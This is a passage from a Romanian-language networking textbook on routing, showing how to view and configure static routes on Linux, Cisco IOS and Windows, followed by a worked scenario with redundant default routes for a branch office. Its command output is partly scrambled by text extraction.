root@eragon:~# cat /proc/sys/net/ipv4/ip_forward 0 root@eragon:~# sysctl -p /etc/sysctl.conf net.ipv4.ip_forward = 1 root@eragon:~# cat /proc/sys/net/ipv4/ip_forward 1

Afiarea rutelor
Pentru a afia rutele configurate la nivelul unui sistem Linux se poate utiliza comanda ip route list.
root@eragon:~# ip route list default via 192.168.23.2 dev eth0 proto static 169.254.0.0/16 dev eth0 scope link metric 1000 192.168.23.0/24 dev eth0 proto kernel scope link

src 192.168.23.128

metric 1

Alternativ poate fi utilizat comanda netstat r sau comanda route.


root@eragon:~# netstat -r Kernel IP routing table Destination Gateway default 192.168.23.2 link-local * root@eragon:~# route Kernel IP routing table Destination Gateway default 192.168.23.2 link-local * 192.168.2.0 192.168.23.2 192.168.2.0 192.168.23.2 192.168.23.0 * 192.168.23.0 * Genmask 0.0.0.0 255.255.0.0 Genmask 0.0.0.0 255.255.0.0 255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.0 Flags UG U Flags UG U UG UG U U MSS Window 0 0 0 0 Metric 0 1000 0 20 1 0 Ref 0 0 0 0 0 0 irtt Iface 0 eth0 0 eth0 Use 0 0 0 0 0 0 Iface eth0 eth0 eth0 eth0 eth0 eth0

R u t a r e | 203

Configurarea rutelor
Pentru a configura rute statice la nivelul sistemului Linux se poate utiliza comanda ip route add.
------------------output omis-----------------ip route { add | del | change | append | replace } ROUTE ROUTE := NODE_SPEC [ INFO_SPEC ] NODE_SPEC := [ TYPE ] PREFIX [ tos TOS ] [ table TABLE_ID ] [ proto RTPROTO ] [ scope SCOPE ] [ metric METRIC ] INFO_SPEC := NH OPTIONS FLAGS [ nexthop NH ] ... NH := [ via ADDRESS ] [ dev STRING ] [ weight NUMBER ] NHFLAGS ------------------output omis-----------------root@eragon:~# ip route add 192.168.2.0/24 via 192.168.23.2

Alternativ comanda poate primi ca parametru suplimentar i metrica pentru ruta respectiv.
root@eragon:~# ip route add 192.168.2.0/24 via 192.168.23.2 metric 20 root@eragon:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default 192.168.23.2 0.0.0.0 UG 0 0 0 eth0 link-local * 255.255.0.0 U 1000 0 0 eth0 192.168.2.0 192.168.23.2 255.255.255.0 UG 0 0 0 eth0 192.168.2.0 192.168.23.2 255.255.255.0 UG 20 0 0 eth0 192.168.23.0 * 255.255.255.0 U 1 0 0 eth0

O alt comand care ofer funcionalitate similar este comanda route add.
root@eragon:~# route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.23.2

Pentru o mai bun nelegere a parametrilor disponibili pentru comanda ip route add recomandm parcurgerea paginilor de manual ale utilitarului ip prin rularea comenzii man ip. Similar activrii rutrii, rutele configurate utiliznd utilitarul ip, conform comenzilor indicate pn acum nu sunt persistente i vor fi scoase din tabela de rutare la restart. Pe sistemele de tip Debian, pentru a aduga rute statice persistente este necesar editarea fiierului /etc/network/interfaces.
root@eragon:~# cat /etc/network/interfaces auto eth0 iface eth0 inet static address 192.168.1.42 network 192.168.1.0 netmask 255.255.255.128 broadcast 192.168.1.0 up route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.23.2 down route del -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.23.2

n practic, liniile care ncep cu selectorul up sunt rulate la ridicarea interfeei, n timp ce liniile care ncep cu selectorul down sunt rulate n momentul n care interfaa este nchis sau pierde conectivitatea. Pentru mai multe informaii se recomand consultarea paginii de manual interfaces(5) prin rularea comenzii man interfaces.

Testare
n Linux rutarea poate fi testat prin utilizarea comenzilor ping i traceroute.
root@eragon:~# ping google.com -c 4 PING google.com (62.231.75.242) 56(84) bytes of data. 64 bytes from cache.google.com (62.231.75.242): icmp_req=1 ttl=128 64 bytes from cache.google.com (62.231.75.242): icmp_req=2 ttl=128 64 bytes from cache.google.com (62.231.75.242): icmp_req=3 ttl=128 64 bytes from cache.google.com (62.231.75.242): icmp_req=4 ttl=128 --- google.com ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 1.589/1.939/2.512/0.345 ms root@eragon:~# tracepath google.com 1: eragon.local 9.261ms 1: 192.168.23.2 0.429ms 1: 192.168.23.2 0.425ms [...] time=1.79 time=1.58 time=1.86 time=2.51 ms ms ms ms

pmtu 1500

Pentru a afia tabela arp n Linux este utilizat comanda arp.


root@eragon:~# arp

204 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Address 192.168.23.254 192.168.23.2 HWtype ether ether HWaddress 00:50:56:ed:6a:83 00:50:56:f5:29:32 Flags Mask C C Iface eth0 eth0

6.4.2 Cisco IOS


Dintre cele trei sisteme de operare capabile de a oferi rutare discutate n capitolul curent, Cisco IOS este singurul sistem care ruleaz pe dispozitive dedicate, fiind i singurul sistem de operare al crui rol principal este oferirea serviciilor de rutare. Fiind un sistem de operare dedicat echipamentelor de rutare, Cisco IOS are performane superioare n ceea ce privete capabilitile i flexibilitatea. Pentru a configura o interfa cu informaii de adresare se va folosi comanda ip address la nivelul interfeei care trebuie configurat. Comanda primete ca parametru informaiile de adresare, respectiv adresa IP i masca de reea utilizat.
HQ(config-if)#ip address 10.0.0.1 255.255.255.0

n mod uzual interfeele de pe un echipament Cisco sunt implicit configurate ca fiind inactive, prezentndu-se n starea administratively shut down. Pentru a deschide o interfa n vederea permiterii traficului prin aceasta, se folosete comanda no shutdown la nivelul interfeei care se dorete a fi configurat. Comanda nu primete niciun parametru.
HQ(config-if)#no shutdown

Pentru a verifica informaiile de adresare, precum i starea interfeelor, se utilizeaz comanda show ip interface brief, care poate fi rulat n modul privilegiat. Dei exist mai multe comenzi care ofer informaii despre cum au fost configurate interfeele cu informaii de adresare, aceasta comand este cel mai des folosit de ctre administratori. Mai jos se poate observa output-ul acestei comenzi.
HQ#show ip interface brief Interface IP-Address Ethernet0/0 10.0.0.1 Ethernet0/1 10.0.0.10 Ethernet0/2 192.168.2.1 Ethernet0/3 11.11.22.22 OK? YES YES YES YES Method NVRAM NVRAM NVRAM NVRAM Status Protocol administratively down down up up up up up up

n vederea configurrii rutrii statice pe un echipament Cisco este folosit comanda ip route rulat la nivelul modului global de configurare. Comanda primete ca parametru adresa reelei destinaie, specificat inclusiv prin masca de reea, precum i adresa urmtorului hop n calea ctre destinaie sau interfaa de ieire. Adiional, se pot furniza o serie de parametri opionali precum metrica sau caracterul permanent al rutei.
HQ(config)#ip route 192.168.0.0 255.255.255.0 10.0.0.2 100

n vederea configurrii unui protocol de rutare dinamic pe echipamentele Cisco se utilizeaz comanda router rulat din modul global de configurare. Comanda primete ca parametri protocolul de rutare utilizat, precum i orice ali parametri necesari protocolului.
HQ(config)#router HQ(config)#router HQ(config)#router HQ(config)#router rip eigrp 200 ospf 1 bgp 300

Pentru a verifica tabela de rutare n cazul echipamentelor Cisco se utilizeaz comanda show ip route, care poate fi rulat n modul privilegiat.
HQ#show ip route Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route Gateway of last resort is 11.11.22.21 to network 0.0.0.0 10.0.0.0/30 is subnetted, 1 subnets C 10.0.0.8 is directly connected, Ethernet0/1

R u t a r e | 205
11.0.0.0/30 is subnetted, 1 subnets 11.11.22.20 is directly connected, Ethernet0/3 192.168.0.0/24 [200/0] via 10.0.0.9 192.168.1.0/24 [1/0] via 10.0.0.9 192.168.2.0/24 is directly connected, Ethernet0/2 0.0.0.0/0 [1/0] via 11.11.22.21

C S S C S*

n vederea diagnosticrii conectivitii, Cisco IOS pune la dispoziie dou comenzi: traceroute i ping, ambele fiind rulate att n modul neprivilegiat ct i n modul privilegiat.
HQ>ping 192.168.0.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.0.1, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 44/73/104 ms HQ>traceroute 192.168.0.1 Type escape sequence to abort. Tracing the route to 192.168.0.1 1 10.0.0.9 40 msec 20 msec 48 msec 2 10.0.0.5 76 msec 88 msec *

n cazuri speciale este necesar diagnosticarea tabelei ARP de la nivelul echipamentelor pentru a verifica corelarea adresa IP adresa MAC. n cazul echipamentelor Cisco pentru afiarea tabelei ARP poate fi utilizat comanda show arp rulat n modul privilegiat.
HQ#show arp Protocol Address Internet 11.11.22.22 Internet 10.0.0.10 Internet 10.0.0.9 Internet 11.11.22.21 Internet 192.168.2.1 Age (min) 63 64 Hardware Addr cc00.087c.0003 cc00.087c.0001 cc02.087c.0000 cc03.087c.0003 cc00.087c.0002 Type ARPA ARPA ARPA ARPA ARPA Interface Ethernet0/3 Ethernet0/1 Ethernet0/1 Ethernet0/3 Ethernet0/2

6.4.3 Windows
Afiarea rutelor
Pentru afiarea rutelor n cazul sistemului de operare Windows poate fi utilizat utilitarul route. Pentru afiare acestuia trebuie sa i se dea ca parametru irul print. Astfel, pentru afiarea rutelor va fi rulat comanda route print.
C:\Users\eragon>route print =========================================================================== Interface List 12...d0 df 9a cb db 1a ......Atheros AR9002WB-1NG Wireless Network Adapter 11...e8 9d 87 78 e0 2d ......Intel(R) 82579V Gigabit Network Connection 1...........................Software Loopback Interface 1 14...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 22...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 13...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.133.1 192.168.133.104 25 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.133.0 255.255.255.0 On-link 192.168.133.104 281 192.168.133.104 255.255.255.255 On-link 192.168.133.104 281 192.168.133.255 255.255.255.255 On-link 192.168.133.104 281 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 192.168.133.104 281 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.133.104 281 =========================================================================== Persistent Routes: None

Adaugarea rutelor statice


Pentru adugarea rutelor statice va fi utilizat tot utilitarul route, rulnd-ul cu parametrul add.
C:\windows\system32>route add 192.168.232.0 mask 255.255.255.0 192.168.133.1 metric 20 OK! C:\windows\system32>route print

206 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
=========================================================================== Interface List 12...d0 df 9a cb db 1a ......Atheros AR9002WB-1NG Wireless Network Adapter 11...e8 9d 87 78 e0 2d ......Intel(R) 82579V Gigabit Network Connection 1...........................Software Loopback Interface 1 14...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 22...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 13...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.133.1 192.168.133.104 25 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.133.0 255.255.255.0 On-link 192.168.133.104 281 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.133.104 281 ===========================================================================

Parametrul metric este opional, acesta configurnd la nivelul rutei statice introduse i o metric. Similar sistemului de operare Linux, rutele introduse n acest mod nu sunt persistente i vor fi terse din tabela de rutare la restart. Pentru a introduce o rut persistent n tabela de rutare, comenzii route add i va fi adugat parametrul p.
C:\windows\system32>route add 192.168.232.0 mask 255.255.255.0 192.168.133.1 ric 20 -p OK! C:\windows\system32>route print =========================================================================== Interface List 12...d0 df 9a cb db 1a ......Atheros AR9002WB-1NG Wireless Network Adapter 11...e8 9d 87 78 e0 2d ......Intel(R) 82579V Gigabit Network Connection 1...........................Software Loopback Interface 1 14...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 22...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 13...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.133.1 192.168.133.104 25 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.133.0 255.255.255.0 On-link 192.168.133.104 281 192.168.133.104 255.255.255.255 On-link 192.168.133.104 281 192.168.133.255 255.255.255.255 On-link 192.168.133.104 281 192.168.232.0 255.255.255.0 192.168.133.1 192.168.133.104 45 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 192.168.133.104 281 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.133.104 281 =========================================================================== Persistent Routes: Network Address Netmask Gateway Address Metric 192.168.232.0 255.255.255.0 192.168.133.1 20

Testare
n vederea testrii reelelor n cazul sistemului de operare Windows se pot utiliza utilitarele tracert, ping i arp.
C:\windows\system32>ping google.com Pinging google.com [173.194.34.6] with 32 bytes of data: Reply from 173.194.34.6: bytes=32 time=39ms TTL=55 Reply from 173.194.34.6: bytes=32 time=14ms TTL=55 Reply from 173.194.34.6: bytes=32 time=14ms TTL=56 Reply from 173.194.34.6: bytes=32 time=16ms TTL=56 Ping statistics for 173.194.34.6: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times n milli-seconds: Minimum = 14ms, Maximum = 39ms, Average = 20ms C:\windows\system32>tracert google.com Tracing route to google.com [173.194.34.6] over a maximum of 30 hops: 1 1 ms 1 ms 1 ms 192.168.133.1

R u t a r e | 207
2 11 ms 8 ms 15 ms 10.94.192.1 3 * 14 ms 9 ms ip-145.net-80-236-9.asnieres.rev.numericable.fr [80.236.9.145] 4 * 11 ms 14 ms ip-249.net-80-236-0.static.numericable.fr [80.23 6.0.249] 5 12 ms 11 ms 13 ms cbv2rj-ae1.0.numericable.net [80.236.7.119] 6 22 ms 14 ms 36 ms ip-161.net-80-236-1.static.numericable.fr [80.23 6.1.161] 7 19 ms 15 ms 10 ms 72.14.239.145 8 9 ms 9 ms 12 ms 209.85.242.45 9 10 ms 13 ms 9 ms par03s02-in-f6.1e100.net [173.194.34.6] Trace complete. C:\windows\system32>arp -a Interface: 192.168.133.104 --- 0xc Internet Address Physical Address Type 192.168.133.1 00-14-bf-92-ce-80 dynamic 192.168.133.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static 255.255.255.255 ff-ff-ff-ff-ff-ff static

6.5 Scenarii
6.5.1 Configurarea rutrii statice
Se consider urmtorul scenariu: o companie dorete configurarea reelei interne care are topologia fizic din figura 6-20. Compania este conectat la Internet prin intermediul sediului central. De asemenea, compania mai are dou sucursale, n locaii fizice diferite. Conectivitatea n cazul locaiilor este de tip full mesh, existnd canale de comunicaie dinspre fiecare sucursal spre HQ precum i ctre cealalt sucursal. Sucursala BR1 este de o importan deosebit pentru activitatea de business, fiind locaia n care i desfoar activitatea cel mai important departament al companiei. n vederea desfurrii proceselor zilnice n acest departament este necesar conectivitatea permanent la Internet. Orice ntrerupere a acestui serviciu duce la imposibilitatea desfurrii activitii i deci la pierderi n productivitate. Din acest motiv, conectivitatea la Internet a sucursalei BR1 este considerat un serviciu critic n interiorul companiei. Ca atare, conducerea acesteia dorete ca reeaua s fie configurat astfel nct accesul la sucursala BR1 ct i accesul din sucursal ctre Internet s fie redundant. Din punct de vedere al conectivitii companiei la Internet, aceasta beneficiaz de servicii printr-un contract cu un furnizor care se angajeaz sa ofere disponibilitate 99.999% precum i timp maxim de rezolvare a incidentelor de 10 minute, aceste servicii fiind considerate de ctre directoratul companiei ca fiind compensatorii pentru lipsa redundanei conectivitii la Internet. A
Sw1

2 3

E
BR1

B 192.168.0.0/24 C 3
Sw2 2

1 1 1

0 1 0 1 D

0 1 1 1 2
HQ Sw3

2 F

2 3

D 192.168.1.0/24 3

BR2 BR 2

ISP

3 3 1 1

1 192.168.2.0/24 3

6-20: Topologie scenariu

208 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n vederea configurrii echipamentelor compania deine o list cu adresele IP alocate. Aceasta poate fi vzut n figura 6-21. Echipament Interfaa Staie A Staie B Staie C Staie D Staie E Staie F Staie G Router BR1 Router BR1 Router BR1 Router BR2 Router BR2 Router BR2 Router HQ Router HQ Router HQ Router HQ E0 E0 E0 E0 E0 E0 E0 E0/0 E0/1 E0/2 E0/0 E0/1 E0/2 E0/0 E0/1 E0/2 E0/3 Adresa IP 192.168.0.50 192.168.0.51 192.168.1.50 192.168.1.51 192.168.2.50 192.168.2.51 192.168.2.52 10.0.0.2 10.0.0.5 192.168.0.1 10.0.0.9 10.0.0.6 192.168.1.1 10.0.0.1 10.0.0.10 192.168.2.1 11.11.22.22 Masca de reea 255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.252 255.255.255.252 255.255.255.0 255.255.255.252 255.255.255.252 255.255.255.0 255.255.255.252 255.255.255.252 255.255.255.0 255.255.255.252

6-21: Schema de adresare scenariu nainte de configurarea rutrii, n vederea determinrii corectitudinii configuraiilor iniiale de adresare precum i a conectrii echipamentelor la nivelul fizic, administratorul reelei verific configuraia actual a echipamentelor.
HQ#show cdp neighbours Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater Device ID Local Intrfce Holdtme Capability Platform Port ID BR1 Eth 0/0 123 R S I 3640 Eth 0/0 BR2 Eth 0/1 123 R S I 3640 Eth 0/0 ISP Eth 0/3 122 R S I 3640 Eth 0/3 HQ#show ip interface brief Interface IP-Address OK? Method Status Ethernet0/0 10.0.0.1 YES NVRAM up Ethernet0/1 10.0.0.10 YES NVRAM up Ethernet0/2 192.168.2.1 YES NVRAM up Ethernet0/3 11.11.22.22 YES NVRAM up

Protocol up up up up

BR1#show cdp neighbours Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater Device ID Local Intrfce Holdtme Capability Platform Port ID HQ Eth 0/0 139 R S I 3640 Eth 0/0 BR2 Eth 0/1 139 R S I 3640 Eth 0/1 BR1#show ip interface brief Interface IP-Address OK? Method Status Ethernet0/0 10.0.0.2 YES NVRAM up Ethernet0/1 10.0.0.5 YES NVRAM up Ethernet0/2 192.168.0.1 YES NVRAM up Ethernet0/3 unassigned YES NVRAM administratively down

Protocol up up up down

BR2#show cdp neighbours Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater Device ID Local Intrfce Holdtme Capability Platform Port ID HQ Eth 0/0 141 R S I 3640 Eth 0/1 BR1 Eth 0/1 142 R S I 3640 Eth 0/1 BR2#show ip interface brief

R u t a r e | 209
Interface Ethernet0/0 Ethernet0/1 Ethernet0/2 Ethernet0/3 IP-Address 10.0.0.9 10.0.0.6 192.168.1.1 unassigned OK? YES YES YES YES Method NVRAM NVRAM NVRAM NVRAM Status up up up administratively down Protocol up up up down

De asemenea, nainte de nceperea adugrii rutelor statice sunt analizate rutele direct conectate care apar n mod automat ca urmare a configurrii unei interfee active cu informaii de adresare.
HQ#show ip route [...] 10.0.0.0/30 is C 10.0.0.8 is C 10.0.0.0 is 11.0.0.0/30 is C 11.11.22.20 C 192.168.2.0/24 BR1#show ip route [...] 10.0.0.0/30 is C 10.0.0.0 is C 10.0.0.4 is C 192.168.0.0/24 subnetted, 2 subnets directly connected, Ethernet0/1 directly connected, Ethernet0/0 subnetted, 1 subnets is directly connected, Ethernet0/3 is directly connected, Ethernet0/2

subnetted, 2 subnets directly connected, Ethernet0/0 directly connected, Ethernet0/1 is directly connected, Ethernet0/2

BR2#show ip route [...] 10.0.0.0/30 is C 10.0.0.8 is C 10.0.0.4 is C 192.168.1.0/24

subnetted, 2 subnets directly connected, Ethernet0/0 directly connected, Ethernet0/1 is directly connected, Ethernet0/2

Datorit dimensiunii reduse a reelei care trebuie administrat, cerinele companiei pot fi satisfcute prin configurarea rutrii statice. De asemenea, n configurare va fi abordat o metodologie n doi pai, primul urmrind asigurarea conectivitii, cel de-al doilea avnd n vedere asigurarea redundanei accesului la filiala BR1 precum i a accesului acesteia la Internet. Configurarea va fi nceput dinspre Internet ctre interior. Pentru a oferi conectivitate ctre Internet, este configurat o rut default pe ruterul HQ.
HQ(config)#ip route 0.0.0.0 0.0.0.0 11.11.22.21

n continuare se configureaz restul echipamentelor pentru a oferi conectivitate intern ctre toate reelele n care exist staii, dup cum urmeaz: Rute implicite pe ruterele BR1 i BR2 prin ruterul HQ, pentru a oferi o modalitate de trimitere a pachetelor n Internet; Pe ruterul HQ, rute ctre reelele de clieni din spatele ruterelor BR1 i BR2; Pe ruterul BR1, rute ctre reelele de clieni din spatele ruterelor BR2 i HQ; Pe ruterul BR2, rute ctre reelele de clieni din spatele ruterelor BR1 i HQ.
BR1(config)#ip route 0.0.0.0 0.0.0.0 10.0.0.1 BR2(config)#ip route 0.0.0.0 0.0.0.0 10.0.0.10 HQ(config)#ip route 192.168.0.0 255.255.255.0 10.0.0.2 HQ(config)#ip route 192.168.1.0 255.255.255.0 10.0.0.9 BR1(config)#ip route 192.168.1.0 255.255.255.0 10.0.0.6 BR1(config)#ip route 192.168.2.0 255.255.255.0 10.0.0.1 BR2(config)#ip route 192.168.0.0 255.255.255.0 10.0.0.5 BR2(config)#ip route 192.168.2.0 255.255.255.0 10.0.0.10

Odat finalizat configurarea echipamentelor pentru a oferi conectivitate la nivel local ct i n Internet, aceasta este verificat.
HQ#show ip route [...] Gateway of last resort is 11.11.22.21 to network 0.0.0.0 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.8 is directly connected, Ethernet0/1 C 10.0.0.0 is directly connected, Ethernet0/0 11.0.0.0/30 is subnetted, 1 subnets C 11.11.22.20 is directly connected, Ethernet0/3 S 192.168.0.0/24 [1/0] via 10.0.0.2 S 192.168.1.0/24 [1/0] via 10.0.0.9

210 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
C 192.168.2.0/24 is directly connected, Ethernet0/2 S* 0.0.0.0/0 [1/0] via 11.11.22.21 HQ#ping 192.168.0.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.0.1, timeout is !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max HQ#ping 192.168.1.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.1.1, timeout is !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max

2 seconds: = 4/13/40 ms 2 seconds: = 4/13/32 ms

BR1#show ip route [...] Gateway of last resort is 10.0.0.1 to network 0.0.0.0 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.0 is directly connected, Ethernet0/0 C 10.0.0.4 is directly connected, Ethernet0/1 C 192.168.0.0/24 is directly connected, Ethernet0/2 S 192.168.1.0/24 [1/0] via 10.0.0.6 S 192.168.2.0/24 [1/0] via 10.0.0.1 S* 0.0.0.0/0 [1/0] via 10.0.0.1 BR1#ping 192.168.1.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.1.1, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 4/10/24 ms BR1#ping 192.168.2.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.2.1, timeout is 2 seconds: .!!!! Success rate is 80 percent (4/5), round-trip min/avg/max = 4/20/48 ms BR1#ping 11.11.22.21 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 11.11.22.21, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 48/67/88 ms

BR2#show ip route Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP [...] 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.8 is directly connected, Ethernet0/0 C 10.0.0.4 is directly connected, Ethernet0/1 S 192.168.0.0/24 [1/0] via 10.0.0.5 C 192.168.1.0/24 is directly connected, Ethernet0/2 S 192.168.2.0/24 [1/0] via 10.0.0.10 S* 0.0.0.0/0 [1/0] via 10.0.0.10 BR2#ping 192.168.2.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.2.1, timeout is 2 seconds: .!!!! Success rate is 80 percent (4/5), round-trip min/avg/max = 4/20/36 ms BR2#ping 192.168.0.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.0.1, timeout is 2 seconds: .!!!! Success rate is 80 percent (4/5), round-trip min/avg/max = 4/21/44 ms BR2#ping 11.11.22.21 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 11.11.22.21, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 48/69/104 ms

Dup cum se poate observa, reeaua a fost configurat corespunztor i ofer n acest moment conectivitate ntre toate subreelele care conin dispozitive finale. Dac este studiat cu atenie rspunsul echipamentelor la comenzile de verificare a conectivitii se poate observa c n unele cazuri a fost pierdut unul dintre pachete, mereu primul. Acest lucru este cauzat de lipsa unei intrri n tabela ARP a ruterului pentru adresa IP a hop-ului urmtor. Acest eveniment are loc doar la prima conexiune; pe msur ce se transmit pachete n reea, tabela ARP este actualizat continuu, cnd este necesar. Pasul urmtor n configurare const n asigurarea redundanei conectivitii la Internet pentru sucursala BR1. Studiind topologia reelei se poate constata c pachetele ctre Internet pot fi trimise

R u t a r e | 211 din sucursal att pe legtura direct ctre HQ, ct i prin intermediul ruterului din sucursala BR2. Practic, pentru oferirea redundanei vor fi configurate dou rute statice default la nivelul ruterului BR1, cu metrici diferite. Ruta principal va fi pe calea direct ctre HQ, n timp ce o alt rut de backup, cu metrica mai mare, va fi configurat prin intermediul ruterului BR2. n momentul n care interfaa dintre BR1 i HQ va fi inaccesibil, tabela de rutare va fi automat actualizat introducnduse ruta de backup. Aa cum a fost prezentat i n partea teoretic a acestui capitol, acest lucru are loc ca urmare a imposibilitii trimiterii pachetelor ctre dispozitivul configurat ca next hop pentru ruta default. Practic, n momentul n care interfaa dintre BR1 i HQ va fi indisponibil, ruta direct conectat ctre reeaua 10.0.0.0/24 va disprea din tabela de rutare. De asemenea, orice alt rut care are configurat ca next hop un IP din aceast reea va disprea la rndul ei (inclusiv ruta default primar). Urmtoarea aciune a ruterului va consta n instalarea rutei default cu metrica mai mare, deci mai slab din punct de vedere al eficienei, prin BR2. Dup cum se poate observa, ruta default existent a fost reconfigurat cu metrica 100 i a fost introdus ruta de backup cu metrica 200. n tabela de rutare apare doar ruta default primar, ruta de backup fiind pstrat n fiierul de configurare pentru a fi introdus automat, dac este necesar.
BR1(config)#no ip route 0.0.0.0 0.0.0.0 10.0.0.1 BR1#show ip route [...] 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.0 is directly connected, Ethernet0/0 C 10.0.0.4 is directly connected, Ethernet0/1 C 192.168.0.0/24 is directly connected, Ethernet0/2 S 192.168.1.0/24 [1/0] via 10.0.0.6 S 192.168.2.0/24 [1/0] via 10.0.0.1 BR1#configure terminal BR1(config)#ip route 0.0.0.0 0.0.0.0 10.0.0.1 100 BR1(config)#ip route 0.0.0.0 0.0.0.0 10.0.0.6 200 BR1(config)#exit BR1#show ip route [...] 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.0 is directly connected, Ethernet0/0 C 10.0.0.4 is directly connected, Ethernet0/1 C 192.168.0.0/24 is directly connected, Ethernet0/2 S 192.168.1.0/24 [1/0] via 10.0.0.6 S 192.168.2.0/24 [1/0] via 10.0.0.1 S* 0.0.0.0/0 [100/0] via 10.0.0.1

Cu toate c aceast configuraie poate prea suficient, ea nu este. n momentul n care ruta default de backup va fi instalat, la nivelul reelei va exista o modalitate prin care pachetele vor ajunge n Internet de la ruterul BR1 prin BR2 ctre HQ, dar nu va exista nici o cale de ntoarcere a acestora, de la ruterul HQ prin BR2 ctre BR1. Pentru a remedia aceast problem va fi introdus i n cazul ruterului HQ o ruta de backup ctre reeaua din sucursala BR1 prin BR2. i n acest caz va trebui modificat ruta existent, pentru a-i oferi o valoare a metricii mai bun dect cea care va fi configurat pentru ruta de backup ce urmeaz a fi introdus.
